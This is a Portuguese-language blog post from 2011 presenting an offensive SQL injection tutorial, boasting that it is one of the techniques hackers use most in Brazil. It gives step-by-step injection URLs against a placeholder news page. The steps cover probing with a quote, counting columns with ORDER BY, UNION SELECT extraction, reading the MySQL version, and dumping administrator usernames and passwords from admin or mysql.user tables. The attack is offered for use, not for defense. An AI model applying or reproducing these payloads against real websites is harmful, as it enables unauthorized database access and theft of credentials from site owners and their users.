Pages

terça-feira, 11 de janeiro de 2011

0
Tutorial bem Completo sobre SQL Injection ( UMA DAS TECNICAS MAIS USADAS POR HACKERS AQUI NO BRASIL )

Neste tutorial é feito uma descrição de como utilizar o Sql Injection Avançado para obter algumas informações.

Primeiramente: O que é Sql Injection?

É uma das vulnerabilidade mais comuns atualmente. Esta vulnerabilidade permite ao atacante executar consultas ao banco de dados inserindo querys (comandos Sql) na url do site obtendo, assim, informações confidenciais.

1 - Sql Injection (clássico ou baseado em erros).


Medidas adotadas para explorar a vulnerabilidade.

A) Verificar a Vulnerabilidade.

Abaixo um exemplo qualquer para análise da vulnerabilidade. O link fictício mostra uma página qualquer de um site, imaginemos que seja um página de um site de noticias.

Citação:
http://www.site.com/news.php?id=5

Para identificarmos se o site é vulnerável, colocaremos ao final da url uma aspa simples ( ' ). Abaixo é mostrado a forma como a url ficará.
Citação:
http://www.site.com/news.php?id=5'

O erro acima diz que você possui um erro na síntaxe da consulta Sql e pede para você checar o manual correspondente ao SGBD que você está utilizando. "Até parece que você é o administrador do site"

Agora que checamos o erro no site e sabemos que este é vulnerável a injeção de Sql na url. Iremos ao passo seguinte.

B) - Localizar a Quantidade/Número de Colunas/Tabelas do banco de dados.

Para encontrar a quantidade de Colunas/Tabelas é utilizado o comando ORDER BY.

Mas como utilizar este comando Sql?

Simples! Ao final da url você adiciona o comando order by e vai adicionando uma sequência de Colunas/Tabelas, ou seja, você pode acionar a coluna correspondente. Caso queira olhar a coluna 1, ordene assim:
Citação:
http://www.site.com/news.php?id=5 order by 1

Se não aparecer nenhum erro é por que esta Coluna/Tabela número 1 existe. Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, então o ideal é você ir acrescentado valor até que o site retorne um erro dizendo que a Coluna/Tabela é inexistente no banco de dados.
Citação:
http://www.site.com/news.php?id=5 order by 1/* <-- Sem erro

http://www.site.com/news.php?id=5 order by 1,2/* <-- Sem erro

http://www.site.com/news.php?id=5 order by 1,2,3/* <-- Sem erro

Citação:
http://www.site.com/news.php?id=5 order by 1,2,3,4 <-- Com erro

O exemplo acima, é atribuido Colunas/Tabelas (1..2..3..4), no entanto, é mencionado erro na Coluna/Tabela 4. Conclui-se então que esta Coluna/Tabela é inexistente e que o banco possui apenas 3 Colunas/Tabelas.

C) - Utilizando a função UNION.

Esta função poderosa é responsável por unir vários dados localizados em Colunas/Tabelas diferentes. "Que massa hem!"

Vamos utilizar o exemplo abaixo para melhor exemplificar.
Citação:
http://www.site.com/news.php?id=-3+union+select+1,2,3

Explicando a Sql:
O exemplo acima vai possibilitar ao "Injectador" visualizar todas as informações contidas nas Colunas/Tabelas 1, 2 e 3 do banco.
Citação:
...?id ... -3+union+select+1,2,3
Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2 e 3 do site: http://www.site.com/news.php. Está e a ordem que você atribui ao comando colocado na url do site.

D) - Descobrindo a versão do SGBD (MySql).
Citação:
http://www.site.com/news.php?id=-3+union+select+1,2,3

Observe acima que na url o comando Sql pede para visualizar as três Colunas/Tabelas existentes no banco. Agora para visualizar a versão do banco é necessário que façamos uma substituição. Retirar a Coluna/Tabela 2 pelo comando @@version.
Citação:
http://www.site.com/news.php?id=-3+u...+1,@@version,3

Caso não der certo, você receberá uma mensagem de erro semelhante a esta:
Citação:
"union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
Para resolver este erro necessitamos utilizar a função convert(). Exemplo abaixo:
Citação:
http://www.site.com/news.php?id=-3+u...vert(@@version using latin1),3/

Ou então as funções hex() e unhex();

Com os procedimentos acima, você irá conseguir achar a versão do SGBD MySql.

E) - Obtendo o nome da Coluna/Tabela.

Agora que temos a versão, iremos ao passo seguinte. Descobrir o nome das Colunas/Tabelas:

Geralmente os DBA's (Administradores de Banco de Dados) utilizam nomes comuns como padronização para suas Colunas/Tabelas como:
Citação:
user, usuario, admin, member, membro, password, passwd, pwd, user_name
Lógico que isto depende bastante de DBA's e qual tipo de padronização ele estiver utilizando.

Exemplo:
Citação:
http://www.site.com/news.php?id=-3+u...2,3+from+admin

Na tela já aparecerá os valores com o nome do usuário administrador e a senha. Faça orações para que não aparece em hash md5 senão vai ser outra guerra..

Dica: Quando está difícil para achar o nome da Coluna/Tabela, sempre é bom utilizar mysql.user, pois é muito utilizado como default e como padrão. Exemplo abaixo.
Citação:
http://www.site.com/news.php?id=-3+u...3a,password),3 from mysql.user/*

Espero que gostem. E que eu tenha ajuado muita gente.

Abraço.

0 comentários:

 
ST Informática | © 2010 by DheTemplate.com | Supported by Promotions And Coupons Shopping & WordPress Theme 2 Blog